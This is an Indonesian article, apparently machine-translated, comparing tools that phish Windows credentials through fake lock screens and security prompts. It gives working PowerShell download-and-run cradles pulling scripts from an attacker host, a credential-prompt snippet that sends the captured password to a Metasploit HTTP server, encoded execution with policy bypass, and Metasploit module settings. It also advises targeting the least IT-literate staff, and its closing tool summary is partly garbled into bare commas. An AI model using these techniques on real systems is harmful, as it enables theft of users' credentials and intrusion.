Pada kuartal pertama tahun 2020, jumlah serangan phishing terhadap pengguna di seluruh dunia meningkat dua kali lipat dibandingkan periode yang sama di tahun 2019, dari 9% menjadi 18%. Data tersebut disediakan oleh "Kaspersky Lab".
Dalam sistem operasi keluarga Windows, adalah normal jika beberapa program dan proses meminta kredensial pengguna untuk otentikasi (misalnya, di Outlook) untuk meningkatkan hak eksekusi (Kontrol Akun Pengguna) atau hanya untuk keluar dari mode siaga (Windows LockScreen). Meniru perilaku Windows ini memungkinkan Anda mengambil kredensial pengguna untuk digunakan nanti dalam pengujian penetrasi. Artikel ini mengumpulkan intisari dari beberapa program phishing umum yang menggunakan spoofing layar kunci.
DARI#
Teknik pentesting modern sering kali didasarkan pada bahasa pemrograman C #, karena program di dalamnya dapat dijalankan melalui berbagai kerangka kerja (Cobalt Strike, Covenant, dll.)
1) Utilitas FakeLogonScreen dikembangkan oleh Arris Huijgen di C # dan tidak hanya menggantikan layar entri kata sandi OS standar, dan ini dilakukan dengan menggunakan parameter layar standar yang disetel dalam sistem, yang secara signifikan meningkatkan kemungkinan tidak menimbulkan kecurigaan pada pengguna dan berhasil mendapatkan kredensial loginnya.
FakeLogonScreen - luncurkan
FakeLogonScreen - layar kunci
Saat memasukkan kata sandi pada halaman login palsu, FakeLogonScreen akan memvalidasi kredensial di AD atau secara lokal untuk menentukan secara akurat apakah kata sandi dimasukkan dengan benar. Nantinya, kata sandi akan ditampilkan di konsol pentester.
FakeLogonScreen - Memasukkan kredensial
FakeLogonScreen juga menyertakan versi kedua dari file yang dapat dieksekusi yang menyimpan kredensial yang diambil ke file user.db secara lokal di mesin yang terinfeksi. File ini dapat dilihat menggunakan perintah type:
type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db
FakeLogonScreen - menyimpan ke file user.db
2) Program SharpLocker yang dikembangkan oleh Matt Pickford bekerja dengan cara yang sama . Setelah diluncurkan, itu juga menggantikan layar login asli.
SharpLocker - kunci layar
Setiap karakter yang dimasukkan oleh pengguna akan dicegat hingga seluruh kata sandi terungkap. Perlu dicatat, bagaimanapun, bahwa utilitas ini tidak mengotentikasi kata sandi dan akan mengendus apa pun yang dimasukkan pengguna di bidang kata sandi.
SharpLocker - phishing sandi
Power shell
Perintah Keamanan Windows untuk kredensial sangat umum karena perangkat lunak di lingkungan perusahaan mungkin secara berkala memerlukan konfirmasi atau otorisasi ulang tambahan. Microsoft Outlook, misalnya, adalah salah satu perwakilan paling cerdas dari perangkat lunak semacam itu, yang terus-menerus meminta kredensial domain kepada pengguna.
1. Sebuah utilitas yang menyamar sebagai jendela permintaan keamanan Windows disebut CredsLeaker . Untuk pengoperasian yang benar, server web diperlukan dari mana ia akan menerima semua file yang diperlukan dan di mana ia akan menyimpan kredensial pengguna, serta keberadaan PowerShell untuk mengirim permintaan HTTP ke servernya. Semua perintah di masa depan akan dieksekusi dari file BAT yang termasuk dalam komposisi.
CredsLeaker - Pengiriman HTTP
Sebelum menjalankan file run.bat, Anda perlu membuat semua perubahan yang diperlukan pada file konfigurasi utilitas. Setelah file run.bat diluncurkan, pengguna akan melihat jendela Keamanan Windows menanyakan kredensial.
CredsLeaker - Phishing
window Jendela prompt hanya akan hilang jika kredensial pengguna yang valid dimasukkan. Domain, nama komputer, nama pengguna dan kata sandi akan disimpan dalam file creds.txt di jalur di bawah ini:
/var/www/html/creds.txt
CredsLeaker - keluaran ke file creds.txt
2. Matt Nelson telah mengembangkan skrip PowerShell yang memanggil prompt kredensial Keamanan Windows dan memvalidasinya. Jendela ini juga tidak dapat ditutup oleh pengguna sampai kredensial yang valid dimasukkan. Skrip ini dapat dijalankan dari jarak jauh, dan kredensial yang dimasukkan akan ditampilkan di konsol pada mesin penyerang:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt
Invoke-LoginPrompt - panggilan jarak jauh
Invoke-LoginPrompt - phishing window
3. Sebagai bagian dari kerangka kerja Nishang , ada juga skrip PowerShell yang membuat jendela palsu untuk meminta kredensial pengguna.
Import-Module C:\Invoke-CredentialsPhish.ps1
Invoke-CredentialsPhish
Invoke-CredentialsPhish - Tantangan lokal dan jendela phishing Jendela yang
dihasilkan akan memberi tahu Anda bahwa tindakan ini memerlukan konfirmasi dalam bentuk kredensial. Pengguna yang lebih berpengalaman dalam hal keamanan informasi mungkin mencurigai bahwa jendela ini disebabkan oleh peluncuran aplikasi di latar belakang, tetapi tidak semua orang di jaringan perusahaan dapat memiliki pengetahuan ini. Kredensial yang dimasukkan pengguna dalam dialog akan ditampilkan di konsol.
Invoke-CredentialsPhish - keluaran dari data yang dikumpulkan
Skrip ini juga dapat dijalankan dari jarak jauh:
powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish
Rob Fuller dalam blognya menjelaskan serangan terhadap phishing kredensial pengguna menggunakan Metasploit dan PowerShell. Kerangka Metasploit mencakup modul yang dapat menangkap kredensial pengguna dari berbagai protokol (FTP, SMB, HTTP, dll.). Modul berikut digunakan untuk menyebarkan server HTTP dasar dengan otentikasi:
use auxiliary/server/capture/http_basic
set URIPATH /
PowerShell digunakan untuk melakukan serangan phishing pada kredensial pengguna dengan membuat jendela prompt Keamanan Windows dan kemudian mengirimkan kredensial yang dikumpulkan ke server HTTP yang dibuat sebelumnya melalui Metasploit:
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');
Pengambilan kredensial pada awalnya memerlukan penggunaan encoding UTF-16LE diikuti dengan konversi ke Base64:
cat popup.txt | iconv -t UTF-16LE
cat popup.txt | iconv -t UTF-16LE | base64 -w0
Mengonversi kode ke Base64
Menjalankan kode yang ditentukan, baik secara lokal atau jarak jauh, mengakibatkan pengguna diminta untuk otorisasi, diduga dari Keamanan Windows.
powershell.exe -ep bypass -enc <base64>
Jendela kredensial phishing
Modul Metasploit akan menerima kredensial segera setelah pengguna memasukkannya.
Metasploit HTTP Server - Mengambil Kredensial
Metasploit
Kerangka Metasploit menyertakan modul yang secara independen dapat memicu jendela palsu yang meminta otorisasi Keamanan Windows dari hampir semua proses di sistem. Agar modul ini bekerja dengan benar, Anda perlu menentukan sesi pengukur kerja dan proses atas nama permintaan otorisasi Keamanan Windows palsu yang akan dipanggil.
use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run
Metasploit Module - konfigurasi
Dalam hal ini, simbol * memberi tahu modul untuk memantau semua proses yang berjalan atas nama sistem (NT Authority \ System), dan untuk memanggil kotak dialog ketika proses baru diluncurkan pada sistem atas nama sistem.
Metasploit Module - memantau semua proses
Segera setelah proses baru dimulai, pengguna akan diberikan kotak dialog atas nama proses ini dengan permintaan otorisasi untuk diduga mengonfirmasi pekerjaan lebih lanjut.
Modul Metasploit - Jendela Phishing
Segera setelah pengguna memasukkan kredensial, mereka segera ditampilkan di konsol Metasploit.
Modul Metasploit - mendapatkan kredensial
Selain itu, modul ini dapat dikonfigurasi untuk menunggu proses tertentu dimulai.
Metasploit Module - Mengambil kredensial melalui proses notepad.exe
PESTA
Lockphish adalah utilitas lain yang mampu melakukan serangan phishing yang meniru jendela login Windows. Template jendela login disimpan di server PHP dan secara default menggunakan YouTube untuk mengarahkan pengguna setelah memasukkan nama pengguna dan sandi.
bash lockphish.sh
LockPhish - Luncurkan
Pada tahap ini, Anda perlu menggunakan manipulasi psikologis untuk memikat pengguna ke situs web tempat file layar kunci berada.
LockPhish - mengunduh file
Tidak seperti semua utilitas lainnya, pengaturan elemen pada layar kunci ini mungkin tidak akurat, permintaan otorisasi akan ditampilkan atas nama Administrator, dan bukan atas nama akun pengguna saat ini, dan jendela kunci secara eksternal ditata sebagai Layar Kunci Windows 10. Semua kombinasi ini dapat sangat mengingatkan pengguna. Utilitas ini juga tidak memiliki mekanisme untuk memvalidasi sandi yang dimasukkan.
LockPhish - Lock Screen
Setelah pengguna memasukkan kredensial, pengalihan ke situs youtube.com akan dilakukan.
LockPhish - redirect
Kredensial akan ditampilkan di konsol.
LockPhish - kredensial yang dikumpulkan
Metode yang disajikan dalam artikel ini akan efektif jika pentester telah berhasil mendapatkan pijakan di sistem (dapatkan titik masuk yang stabil), tetapi tidak mungkin untuk meningkatkan hak istimewa atau mendapatkan kredensial pengguna dengan cara lain. Saat melakukan serangan phishing tersebut, Anda harus memilih target audiens dengan cermat. Efektivitasnya akan berkali-kali lebih tinggi jika targetnya adalah karyawan organisasi yang paling tidak melek IT.
Ada lebih banyak materi di blog kami di telegram. Langganan!Keputusan singkat untuk semua perangkat lunak yang diuji
- FakeLogonScreen. Ini terlihat serealistis mungkin, saat menggunakan parameter standar yang ditetapkan dalam sistem. Tahu bagaimana melakukan validasi kredensial yang dimasukkan. (Pilihan terbaik)
- SharpLocker. , windows LockScreen, , . ( , FakeLogonScreen)
- CredsLeaker. , , - . , - — , “” , - — , , . ( )
- Invoke-LoginPrompt. , , Windows. . ( , )
- Invoke-CredentialsPhish. , .
- Rob Fuller. metasploit, , . ( )
- Metasploit phish_windows_credentials. Metasploit ( ), . ( , IT- )
- LockPhish. Di satu sisi, layar kunci yang ditata miring, tanpa otentikasi, dan bahkan tanpa memperhitungkan pengguna saat ini (Selalu meminta kata sandi dari Administrator). Di sisi lain, ini adalah satu-satunya kesabaran yang dapat dipicu melalui browser. Kirim tautannya ke korban dan tunggu. (Tidak disarankan untuk menggunakannya di luar kotak, namun, jika Anda mengetahui login dari korban tertentu, maka konfigurasi ulang dari Adminnistrator ke sana dan itu tidak akan terlalu buruk. Ini bahkan mungkin berfungsi)